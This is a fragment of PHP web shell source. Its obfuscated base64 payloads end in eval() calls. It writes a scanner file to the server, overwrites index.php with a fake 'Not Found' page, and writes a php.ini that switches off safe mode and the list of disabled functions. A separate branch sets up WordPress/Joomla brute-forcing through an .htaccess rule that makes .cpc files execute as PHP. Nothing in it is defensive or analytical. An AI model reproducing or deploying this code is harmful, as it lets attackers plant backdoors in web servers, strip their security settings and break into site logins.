ODM3MENBRDFENDEyRjgwQjg0RDE0M0UxMjU3IDwgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1NysrKSAgICAgICAgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyKyRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTddID0gJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyLSRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkrJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1N107ICAgICAgICRUODAwNjE4OTQzMDI1MzE1Rjg2OUU0RTFGMDk0NzEwMTIgKz0gJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgICAgICB9ICAgICAgZWxzZSAgICAgIHsgICAgICAgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MSA9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSA8PCA4KTsgICAgICAgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MSArPSBvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSArIDE2OyAgICAgICBmb3IgKCRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcgPSAwOyAkVDBENjFGODM3MENBRDFENDEyRjgwQjg0RDE0M0UxMjU3IDwgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyKyRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcrK10gPSAkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REFdKTsgICAgICAgJFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQSsrOyAkVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyICs9ICRUOUQ1RUQ2NzhGRTU3QkNDQTYxMDE0MDk1N0FGQUI1NzE7ICAgICAgfSAgICAgfSAgICAgZWxzZSAkVEMxRDlGNTBGODY4MjVBMUEyMzAyRUMyNDQ5QzE3MTk2WyRUODAwNjE4OTQzMDI1MzE1Rjg2OUU0RTFGMDk0NzEwMTIrK10gPSAkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK107ICAgICAkVEY2MjNFNzVBRjMwRTYyQkJENzNENkRGNUI1MEJCN0I1IDw8PSAxOyAgICAgJFRERkNGMjhEMDczNDU2OUE2QTY5M0JDODE5NERFNjJCRi0tOyAgICAgaWYgKCRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REEgPT0gJFRERDc1MzY3OTRCNjNCRjkwRUNDRkQzN0Y5QjE0N0Q3RikgICAgIHsgICAgICAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1ID0gaW1wbG9kZSgiIiwgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5Nik7ICAgICAgJFRGRjQ0NTcwQUNBODI0MTkxNDg3MEFGQkMzMTBDREI4NSA9ICI/Ii4iPiIuJFRGRjQ0NTcwQUNBODI0MTkxNDg3MEFGQkMzMTBDREI4NS4iPCIuIj8iOyAgICAgIHJldHVybiAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1OyAgICAgfSAgICB9ICAgfSAgfSAgZXZhbChUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkoIlFBQUFQRDl3YUhBTkNpUnNiMmRwYmowZ0lnQUFkM1JtSWpzTkNtbG1JQ2doYVhOelpRQUFkQ2drWDFORlVsWkZVbHNuVUVoUVh3SURRVlZVU0Y5VkFTQW5YU2tnVDFJZ0FlOEI1REFRSUNFRTRBVnpJaWtnZXcwS0lBQVFhR1ZoWkFBQVpYSW9KMWRYVnkxQmRYUm9aVzUwYVFBQVkyRjBaVG9nUW1GemFXTWdjbVZoYkFCb2JUMGlNSGd3SWljcENIQURNQ0FEUlVoVVZBQUVVQzh4TGpBZ05EQXhJRlZ1WVFQd2IzSUlBR2w2WldRQ3BtVmphRzhnSjJGalkyVnpBQkJ6SUdSbGJtbGxaQ0VoSndSMFpYaHBkSUFBQUxCOUlHVnNjMlVnRFFwd2RYUmxibllBQUNnaVZGbzlRWE5wWVM5VWIydDVieUtEQUFkUlB6NE5DandIWVFDQmRHbDBiR1UrTkRBQW1ETWdSbTl5WW1sa0JYQThMd0ZUQW1CelkzSUFBR2x3ZENCc1lXNW5kV0ZuWlQwaVNtRVFRWFpoVXdGU0lpQjBlWEFCSUhSbGVIUXZBWGlBQUFWUklTMHREUXBtZFc1amRHbHZiaUJOQUFGTlgyOXdaVzVDY2xkcGJtUnZkeWdSY0FBQVZWSk1MSGRwYms1aGJXVXNabVZoZEFnT2RYSmxjeFJRSUM4dmRqSXVNQlRCQWVBQ3dDN2dDd09SQXg4REZBMEtmUTBLTHk4dExRZEJMd3JEQUxFRU1ITjBlV3hsQ2ZsamMzTWlBWkVKZ21KdlpIbUFBQnNCQ1dadmJuUXRabUZ0YVd4NU9pQlVCQUJoYUc5dFlSUVFDV052Ykc5eU9pQWpROEFGQUJJQklXSmhZMnRuY205MWJtUXRBZFV3QUJMUUlBSFJCR0p6R29BNklERXhjSGdCTm5kbGFXZG9BWUIwT2lCaWIyeGtBVkFLb0M1emFXNW5iR1dHQUNLd0NXSnZjaUtBQXlCd2VDQnpiMnhwWkNBQkJDTXdNR1ptTURBQ29BbHdZV1JrQXFBNklHQU5OUVR5QTZCaE9uWnBjMmwwWldRTGdnaEZNd0FSN0FRREVRZy9EY3QwRGNZYTBTMWtaV052Y21FWnNUb2dEQUJ1YjI1bEJERUdVQWtOQ21FNmFHOTJaWEtjQkFacVkyTUpoUVBmQTljdVlXSjFibUZwQTZseVpiRWNENEVKQTI4RGFIaDRlQU01WW14MUNPSURUd05IWVNCejhuc3Q0QnBtQ2ZFNU9Rd3hFRzhRYng0akJmOEY4MzBnQmFCMDF3QVdVeG9qTFNTeU9ocERCbEVCZEhkcFpIUm9PaUF3Mm5BQUlCOUFJQnR5Q0FjeEFVQTdJQUVDSmZRbDR5eFdaWElBQzJSaGJtRXNRWEpwWVd3N0lCeVRJd3cwQjhDSCt4aGdMbTFsSUJFeUEvSWxnZ1QvQlA4RS93VHdKbll3SkpJbG55QUtDaTRsY0Rwa2FYTmhZbXhsWkNtUmNDZkZNdGsvQXpNUEF6b05FQkJESUNNblVUTXpFTUVLSWc0VU5BOENtRFFQOCswdTREUVJCR1lPZ2lBeENvUUZralFQQ3RFS1R3b09aUXBJTmdBUzhOY0Y1Z3BQRjZNM1VVTXpSa1lDa1FwUEl3UlNOZ0hSQ1JJS1QzYkFMUXBQU01WSUlUNVVFUUNSSUZLb1NMUWpjR0YwWTJnTUN5QjdjRzg5Z0ZKUU9tRmljMjlzV3pBN1lRQkRraGdBTVRzZ0ptTU5nRHNnZEc5d09qQTdJR3hsTTNSbWRBQ0FJb0E4THlteUJrRXZYTVZOb1FFUlkyZHdaWEljQUQ0OFlnQkFDN0Vta3owaUl6TXpPVGt3TUNKQUtDQU1zVDBpT0NJZ1ptRmpYREJoS1BFaVBrS0FBVTV3Wkc5dmNpQlRZMkZ1Ym1WeVBDOEQwUjBBUGp3dkJRZ05NSFVUUUhPd1gzUnBiV1ZmYkdrRUVtMXBkQ2d3WmFGQWFXNXBYd0dRS0NjbFFIQUFCR3hoZVY5bGNuSnZjbk1uTENBQ0FtbG1RQUVvZDBWU1JWRlZSVk5VV3lkbFpHbDBkc0V3QmlZbWRzQUJiRDA5SjJacGJHVW5LUjl4QTloUVJrcFBBNkY1WlhNRGtBSENDU1FDZ1c1aE05QTlCSEJIWlg5RkJaQUJJU2RkRy9FSmM1SWlFUUlSUVFCQkRiRVJoRXFRRVNOSkpETVRNRDQ4RHVRaUxnVkdMaUoyNEd4bFdBQXVMZy9RTGp3dlloRXdBL0VDNEJZUUJORUFUejZHVVFrSmRXNEdnbXhwYm1zb0JLWVNVUWtJOVUxRlZFRWdmMkV0Z1FBUXdFbFdQVkpsWm5Cd2FDQkRUMDVVUlU0QkJWUTlYQ0l5T3lCeW9EMXFZWFpoYmVNNmNYUUFMV05zYjNObEtDazdYQ0lHazMxL1VSSlJDUkpnSTd3a1h4SURkWEJraDdBU01FVUNDUkpNQWtNU1dBT3hhWE1IRUY5M2NtbDBRUEVMV0htZ0RRb0pBQkFrYUdGdVhXVmtkYkE5VGRCOUlBSTNMSldRSzRYU0FtQUpKRVZnUFFobGNTRmpkbUFwQUJpa0NRbG1CaEZsS0FTMExDQnpkSVl3QUw1emJHRnphR1Z6S0FPaEtSSlRBcUFPWXdLa0FXVWtEUXh6ZEdGMGw3QWFoVHdFRUc5dVp6NGtnWElRYzNXRGZwSHlablZzYkhrZkVSaURDWkYwRWpJUW9BUk5IUEVnNXo2aUVBVkZSU3ZoSVNCR0tFQWdiV0Y1Y3VCMElHSmxmMThnRENFU01TREFBNUVnOENORkp1SUpPZkFKQUZNWTZBelNHTmNwTk52VUlFOGdUVEFnVDVSeUxnVVNJRWdISXlhMklEQ2ZDUjR3SUNpblFCOHhYNkxnYzNRWEFBRFJNM0VwTkhNSkpIWjFiRzZPNmdPM1luVm5HNVVZZEFIQVpwbFNCcFlmd0hJZnRTUWU1SFBicGdKeHJ0QmtIb2NHb1hPU2NDTlhIcFEvU3pBSkNSejFKcEU4eGdJb0VnRnlDVHgwTmtCNVFHRnNhV2R1UFNKUUVTSWdSQ0JqSXZCelBTSnRaU0lhdGp3L1BRa21QejRDQUNadVluTndPd0JqUGo0Z1EyOXVkR0ZwRHU5dWN5QTZBVE1DMFE2UlB4dXdJL1N2VUdRQTRBYmdDQ0VIZHNBQUJxZ0JnZ2s4Wm05eWJTQnRaWFJvYjJROVFpRWlXL0IwSWlCaHJvSTlJaUlMTXdrOGFXNjM0S1NFWDJSb3RVSWlJQlpoUFNJUVlTSWdkbUdPa0QwaTV2SUljUUVSQWJFL1BnUG1pZkZoRTlBRE5CVTBEMkJ2YkE5UU9Ja0FYQUJ5YjNjQW9ERTFEL0EvUFdoMGJXeHpjQ0dmWldPRk1HTm9ZWElkVUFNa2N5a09BUVRsU3VJTVFnNi9QclErUEJZbkxMTUc0QlpIQTJNLzFKSUpKRkhUUUZCWU1tUmw0QWhSY1MxblRiUkJjbVVnZVc5MUlITzlnQ0IwYjZ2alUrUWdWVHMvT2JRL0UyTWVuQWgvQW5NVjIzTjFZbWZRRmRYQWNtRVFGY1lnV1NCRklGTWdGVllaT1FOcmJtOERWMDQveVNCUEF6VVNiUS8yVnNjTzQwa1NQNU1NdFM5MEpNOWtJQ3cwZG1CeWZmRVdEdzJmYVNXd0liRTlJajZ5Q21kRElHd2didytySUhNZ1pRckZBODhEeHhvekE5ZEVBM0JzQUVCMEFFQVI3OWcrZ09BUjYzVmtVZ1AzVXlCaElIWUR0eEp2OXVFaVVGQkNDWCtmWmd1aVFGVmNOQkpqQTZCVVFSMWdob0Z5YlFDUkZrTVdGVkkwZGRucERsYnhXb2Q3Yno0bU8yNXZEbUI0YVhOMGU0OWh3UUJQY3ZmL2RQSUhsRm5QV2MwMFdjOVp6eUd3RU5BUFVaU21sR1lCa0E3aVlvQ1JsYmhBTlpOVExaSTFrRm1DSkdObGExVXhZWEp5WVhrb0FJQW5ZbUZ6WlRZMFg5eUJaR1VuTENkemVRZ0hjM1JsYlFDUWNHRnpjM1JvY25VQXNWcFJBSUFNMm1WNFpXTUFjSFhnYkd4ZllBRFNaVWdBQVVCdDNzQmZBRmgxY0d4dllXUmxaRjlJa1NjYUlrNGdaV0ZqSW5ob0tBZGpZWE1nQUpGbGNnaWlaQ0EvMVFGalhUdytJR01pSWdHekNTUnphWGd1ZjVVQjlDNGlMajZERHJEa0hHb2hBWEZoMEdWNEI0QmtaU2duTHFIQUE0RUhvM1Z1bGpGVXNpQk1HMEJHZDJCTTBHUnBjb2dFRWxBa1pHZ0QwTXUzRGJFQmNDZ2tBRkFwQWRTTjR4SlJRUkpTQlFJSmlMQ3NvUTNTbjF3QnpuZG9CaUJvOHdWUVZ4RDNjSElGVUdnRlJnN2lFWkVnSWZqeGh5Q2djS3BSQVFjQkdGc3dYUUpCRFBBSkJWS0NhWE5mQ2tDQWZ3VkFhWElnTGlBaUx5SUFZR3B5QmpjS1RnL0xBeEFEZWZ6NEpOQTEwQUF3RU5BRjBDRVRKR2tPVndXUUJoSU80UUhpWDIxbE1TVnlaNWNBQzNGekxDQUN5anNnWGJJSkNTaFNld0RVSS84SkNRT1RjSFZ6SUZBRGhReUFDTThJa0FQUUE0TWVFUURWUDNMSUR3TWdENkJvS1F0RGNtVjBkWEp1SUFuVEFUSURFUUJCRkFBa2RHRUtJSFFqa0ZORlVsWkZVbHNuUkU4UVprTlZUYkF3WDFKUFQxU0lFelFCQ1R4aFkwS3dDYVlJZ2tNZzZnTTlJbkZRMHVJOUlqa3dKVlhRWld4c1Q3bHc3TE05SW5Kd0NpRm1FUUNCQTdCa2hDaFpmQVJrTXpCMXdBN1FZajVPYjc3elhRQUR2eUlEdFFsakl0c0RQU0l4TUlBK0J5QThZajRnVkNCNUlIQlN3QVJQaFhjRVRIcGdQZ3RVSUVZZ2FWNGdaWXJEQUdOTVh4QmpWN0IwQWJCdklEcEdiaUFGUHdVL0NYMDFEVU1nVEFTQWN5QjBCWk1BWTBVdDhpQmtCWkIwQlg4U255SnNCQktVaVBBTFFRcy9PMU1GSUhvK21TQmxDcXBmVUp6d1hTQlFKZ2xHNUNBb0w0Z2hFeWtnUjhFR2MydGxlVDArSTJKR1l5UnVRWkU3RUdxQWMzUTdBQ29SQWY0c0lDMDBMQ0EwSnJNeHNBSlZPMkdMY0VvVkFhRUM4VDJpSnliUFZDYkVMaVJmS0dWUVNGQUF3RXhHV0dBeHN6SnBGQThrYjNBMk1VQUU4VjluWlhSZlk2WkF6b0JMSUFFeHhBOElvejNBYjNBOUNtQjBiMnh2ZDJVSzBBTmdBYlkyWU9BQURIQUFZRjFCWXprNVgySjFabVpmY0hKbGNJQURuK0FuSUQwK0lDZGpJRGtnT1Njc0o4STJ3UUNESUNkaFltTnlOVGNCNDNJZ05TQTNXME1CMEk3RlZHQnpQVEExb2tmQ0NpQXBBNU1Cb0hwbFBRbHhjN2dXd0RzSVpwNXdkRjl0YjJScFptblQ4TjJnVVZCdC9aRlJvNkFCQW9vOTVSRW9JazB0WkMxWklFZzZhU0pGQU9kb0JBb0M1UjFVS0NRTjRCeGxEUkVrWjZCU0drQU84R2RmYlNLV1lYUm5BQ0l2SkI3UUx3VlJiM0JNZ0hzTDR4UlFjd3hjYVhNOU1RMmtBUEJwS3lzQTFqOUEwUS9neENCMGNxQUE1TkI1NmZFaVltRmphMmR5YjNWdVpDMWpnR0FYc0hJNklGbHZkWElnQVhmQk1HeHZjanNpQUxBZ2IyNXRiM1Z6WlhDd2NzVVFBSEVvZEdocENUMXpLU0lnQWJaMWRBR2hkWFFCbEFjV1JKS2RXajdCNEJCQmJuUWdCekk5SW5KbFpFUlJiR2x1YXo2K3NWYi9hYmp4WWdEekw0eWh4d0ZrQlAvT2NEdTBCUTgyd0FRVHp2QVV3UDRBQlMrbnNST0ZDaG5Ua2dQbEFoZGhJR2h5WldZOUlpUGdRRk5BSEtERllHRmlkVzVoYVJHUlkyeHBZMnM5QkVZaVRVMWZiLzdRUW5KWGpjSW9Kei8yc1NUeUpySEVKVUU5RGNFQWtUOCtKdU1BQVBJSnNpY3NKenF5ZG1reEFHVjNBTUQzUVhWelBicFFMSE5qY205c2JHTGdRY3JRQVBKRXN6Y3dNQ3hvWmJIUlBUWXdNQ2NZSUFDV2NtVnNQU0p1YjJZQ3dHOTNGTEEvM2pNUFVXRy93Qk40THhWRldtVWc4YzB2Rk44UTlRd1JEOUIwUHo0Z1IwMGY4VlFyT1Vzd0ZsTWFieVp4dkt3Rmp3V0pOeUVGZ0dKNWRGQ2h0QUFGZndvSzBRQkFQQkZBYVhCMElHeGhibWQxWVVPQVo3aUFhbUYyWVFGVHVuVUNjQWwyWVhJZ1ltZkFpeVlpUTlBaWRISmhibk5EQVc1MElqRkdDUUppNE5BY3BtNW5aVW1BTHBBQ3NTTTBBQklpSDlZSlpwYjFvS0Z5R0Nzb1lXRTV0d2F4WVdFdWMzUTFBQzR6ZDBNMDBRVFEvL2tGeVFkNGZPRURvUUJBQmNnem9BVy9CYjhGdEEzVUJXOEZVRHd2RVJQdjloL1daUUlORlR6RDh3S0FpSFduRVFEeFg0RkVRS3F3TVdDMVVqSW9ZQWxBUi9xMGcxd29LQzRxUHlsY0tVaW1KaVlDbkZRZVBBTndQZ0gvYlV4MFpXMXdkSGtFZnhYb1dTQTJzREt3QnhzM0pFMUpVbUU5SW1ocFpHUmxiaUM3b2dLWFR3OFBmMlVnUFNJYUowOFBVSEpQRDJWUEQxQzBUdzhVUVFCQU5VaUFVNGVtTDd0aWJIVmxPbU5Pb2s0dlNRbGpjc0JsY2dMd0FuRWcrZVF0QWd4d0JDWkVFdUdSYm5SU2I1TkZUVU1mOVFrOFROOTRlR1QrZUV5dlRLOXNaVXl2ZFdkTXIweXZLUUJKNEV5dlRLOU1yMnhuL1dWTXJrd3ZhV2RnL3pLaEV0bEx5eFVSRTA4VFJSdWZCS2x6Z2dEVzNVcm1CSjhKU205cVNtOGlvSFpLYjBwdkNRSmhSS2xGa0NKS2I3LzFSS2gybERCRXYwUy9FaEVFMEFYSlJROEtjRkFwU204SlVCOWtVQlhoMlVwdlQ4ZEtieTkwY2o0cWRVcHZTbXc5ek9HdXd3a0psSllhZzJObGE1U1NkaUJ6UkpZZ0FCQnBaaUFvSkFGaFRlQ0d2VTNhUUhCeVpaVzRBakZjVGI0Z2xsZElLVVp2Um05dmxXLy8vMFp2Um0rWEZVWnZHUkVBUUVadmVnRkZNakgvTWZ1Q0VBNXhOWEVDdndLeXlIOURQNUFHYjI2UEgyNWtiM2VQSHdrQmp4d0hjNDVnankrT01vLy9RbzkwYUQyUEw0OHZ6NklORVk4cURlOE40bFZXRUpCQld3TWZBeExmL2tEbEF3QnpQN2tDK2d2QWlhOEJVNG12WEtJM3dJbXZIYkFBTUQ5UElPdi9QMDg1aVQ5UENUbWZiam1XUDA4SFVJRUdBTUZGQ0Q5UEJiOEZ0ejlQOWVBL1R6NTNQMCtlczMwSVFRbEE0d1FFQUh1SzBWOVFUMU5VQUY5YkozUmxlSFJXSjEwOXFpUUJVZXdBQWlwTjVnUFEvMzgvakFMeGlyWSsvd2ppUHY4Ky96Ny9aRDcvUHY4Ky85WGlFb2FCU1Nqb3Y5QSsvM1MzZGk1cERlRXg0U3NhQXJjKy96Ny9UYzRQWkdsMFBmdjlQaEdCYjRGa0IzTSsvM1RPSDg4QnpoL09IODRmSXdQSElOMVBiRHZpLy84UW1UNy9BL1lROXhZWVB2OGdvZ2JnUGFQSW4wQkFQdjgrLzhpZk9UbEJvZitGZmo4NU9ENy9Qdi85Y0hpRkJja3dWajcvYVc5dUlQNkFkTTVQLy8vT1R3VzFQdjg2aEJLUWZqOCsveGdEQTBRL0F3QmpBVE1BWWdCUkFFRTdjQVk0SkdrOVBUQi9jMzlmZFdkemYxVi9Ed2tBSkhncllmOHJEL0U4a3p4MGNpRGJvc0d2ZTA4OFh6eGZQRjg4V0hzUGNnRjlnSGc1YVFJNEswbHpVOXhBWkVEekFuOCtJRzV2ZENCbEJ3RjRhWE4wSUFLUHNhZ0NnQ0J5WldOdmNtUUNqOEEvdENFdnBDQXRKbTVpYzNBN0FHLzZFUU8zQnNDYklwclgrR0FhWVpxU0FKRVdjZ0pBWVdKc1pRdXhBblI5Wld4elpjZ0FsUkY3VUc1a0xyQmhjbkpoZVNnblpHVm1ZUkFKZFd4MFF2QmlZWE5sTmpSZlpBcWdaR1VCQU1BaDV5TUFrSEJoYzNOMGFISjFBTEZ2Y0dWdUFJQU5DR1Y0WldNQWNPQUNYd0RVWlhaaGJBRkFiVzkyQUJObFgzVndiRzloWkdWa1gwcWhKeWtmOEFsemdBQWo0RzBnYVdROUltWkRhR1ZqYXlJZ2JoQkFZVzFsQU9kdFpYUm9id0hnY0c5emRDSWdFZ0JoWTNReHdEMGlBS0IxZEc5amIyMXdiR1ZGcG5RQzRHOW1aajdTUEJzRERsSjBEdkVnWTBhZzY4QnpBUUJwYm1kc1pTSWdUYk1pTkRBd0lpQmlieUFDY21RajBURWlJR05sYkd4d1lXUmtBbUE5SHNBaU1UQUV3N0JnSGpFRUpHM2kwUVgzQ1R4aVBsTWdFSUJsSUd3QVFHTWdkQ0FhT1hNZ1l5QmhJRzZDQXdFNWRDQjVJSEFDc0RvOEwySStQR0lhNG1UQTc5d0tPUVlRQ2ZVeUNmQU1RVTN3Q0Y4NVk4Mi9hczIvU3BhNDhFdHNCSUZwYXlncGUzeTBDUWs1a1NGa2IyTjFiZTJ3VVI0dUY5TXVBb0JXTG1NWWdXVmtLUWFUT3ZBQ2JXVHhWZ2dOTG1ScGN3dnhaRDEwY25WbE93V0dKVkVnQTcvUC9BWVVBN3htWVNnd0lMQUdVQUF3UlhBR3ZRa2FLc0VDY0FBd2JXRU1mbk4wWlhJck1BQ1VLeUF4QkdZdGRnS0FBREFGVUFKVVBncFhJREFnS1FSSENRRjBQU0FBbEMwRVdBa0ViQUxkQnViWTREWlNCbkFKQUpjSEp5RTlJRkpFQWlJTjNWTjFZbTFwZjJ0MEZKY1E2d2dzQTk4RDJ4aGlGNFY5QndBQXhIM1hVQ0FaRkdDR2hBVUJGajl3YUhBQ2t5OHZaR0Z5YVNBeWtHa0JFNEl6T1pCbFlXTm9LRUhqWVhNZzIzRmRkUWsvS2dQMlAxK0RJaWlQQ2JSaEZsUVJJQlBGS2VjbkVWWmhiSFZsV0xGV2NEditQejRxb0FoaktwRW9EODBDZGlyR0hYY0doZ0NVSWI4RmxUQXdLUC8vQWxRaHZ5WUxJYjhIRnlHL2RMTWhLRmhSR1NBTXdnY2tJYjg0bWlHL01wbi9BU0cvQTk4bGlDRzhFQVFKVkNGR0FYTThhVzV3ZFhRZzVlYllNRURTR2MwN1dtVVlsaUlnZEhsd1dKQUM4bUp2ZUNMU2YxMHlBZmgySGZFOUlnRW9MejVTRXdFMlVYVlBZQ2wzQ21RbTl2QUhDZk5pUTBIUkI1OXZia05zYVdOclBTSUI4RTlUQ3ZESHdXWVJBUUJXSWlBSWxBRFNMRVVGVTE2VWFYTnBJaUJOMW5pQ0lnQ2xEelZNSWdSMmIzUm9TSUJyWlhrZ2QyVGdJb2tBRTRCR2IyTzFZQ0owaHpBdWMyVnNaV04wS0h2b0tRcFZBOEVSb3dDaFZtWnlJWUFQa1FCQkdDcDBGUUpvYVdRUWgyUmxiZ2ZGWVhOaGJBZTJZV0pqWkFRbURDTUt4VzhnUFF0b0JJTnpScklFaFNYakJLWWdVMndRWVNCeUlIVFF6UmtqQUdOVGJHTWdJaUF2RW9PRUlHUStBRkJyMUM5MkV2NkhBYkVCUUFHVUFLQmhRUUZUUkJCdEFLQThQdzBLSEdBY0lRNVJsZ0VBUW1oeWJyVXpick43bDBOdmNIbHlhV2RvZFRCQWptTUFzQ0F5TURFekxRQlFOQTBLQTdKenduUmdid0FBWkhrKyIpKTsgID8+';
  2358. $file = fopen("bscan.php" ,"w+");
  2359. $write = fwrite ($file ,base64_decode($bscan));
  2360. fclose($file);
  2361. chmod("bscan.php", 0644);
  2362. $indexshell = fopen("index.php" ,"w+");
  2363. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  2364. $tulis = fwrite( $indexshell, base64_decode($data));
  2365. fclose($indexshell);
  2366. $safemode = fopen("php.ini" ,"w+");
  2367. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  2368. $tulis = fwrite( $safemode, base64_decode($data));
  2369. fclose($safemode);
  2370. echo "<iframe src=bscan/bscan.php width=97% height=100% frameborder=0></iframe>";
  2371. }
  2372. elseif(isset($_GET['x']) && ($_GET['x'] == 'wpjosbrute'))
  2373. {
  2374. ?>
  2375. <br>
  2376. <form action="?y=<?php echo $pwd; ?>&amp;x=wpjosbrute" method="post">
  2377. <?php
  2378. echo "<center/>";
  2379. mkdir('brute', 0755);
  2380. chdir('brute');
  2381. $akses = ".htaccess";
  2382. $buka_lah = "$akses";
  2383. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  2384. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  2385. AddType application/x-httpd-php .cpc
  2386. ";
  2387. fwrite ( $buka , $metin ) ;
  2388. fclose ($buka);
  2389. $brute = 'PD9waHAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIlQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSIpKSAgeyAgIGZ1bmN0aW9uIFQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFKSAgIHsgICAgJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RSA9IGJhc2U2NF9kZWNvZGUoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RSk7ICAgICRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkgPSAwOyAgICAkVDlENUVENjc4RkU1N0JDQ0E2MTAxNDA5NTdBRkFCNTcxID0gMDsgICAgJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1NyA9IDA7ICAgICRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgPSAob3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbMV0pIDw8IDgpICsgb3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbMl0pOyAgICAkVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBID0gMzsgICAgJFQ4MDA2MTg5NDMwMjUzMTVGODY5RTRFMUYwOTQ3MTAxMiA9IDA7ICAgICRUREZDRjI4RDA3MzQ1NjlBNkE2OTNCQzgxOTRERTYyQkYgPSAxNjsgICAgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NiA9ICIiOyAgICAkVERENzUzNjc5NEI2M0JGOTBFQ0NGRDM3RjlCMTQ3RDdGID0gc3RybGVuKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkUpOyAgICAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1ID0gX19GSUxFX187ICAgICRURkY0NDU3MEFDQTgyNDE5MTQ4NzBBRkJDMzEwQ0RCODUgPSBmaWxlX2dldF9jb250ZW50cygkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1KTsgICAgJFRBNUYzQzZBMTFCMDM4MzlENDZBRjlGQjQzQzk3QzE4OCA9IDA7ICAgIHByZWdfbWF0Y2goYmFzZTY0X2RlY29kZSgiTHlod2NtbHVkSHh6Y0hKcGJuUjhaV05vYnlrdiIpLCAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1LCAkVEE1RjNDNkExMUIwMzgzOUQ0NkFGOUZCNDNDOTdDMTg4KTsgICAgZm9yICg7JFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQTwkVERENzUzNjc5NEI2M0JGOTBFQ0NGRDM3RjlCMTQ3RDdGOykgICAgeyAgICAgaWYgKGNvdW50KCRUQTVGM0M2QTExQjAzODM5RDQ2QUY5RkI0M0M5N0MxODgpKSBleGl0OyAgICAgaWYgKCRUREZDRjI4RDA3MzQ1NjlBNkE2OTNCQzgxOTRERTYyQkYgPT0gMCkgICAgIHsgICAgICAkVEY2MjNFNzVB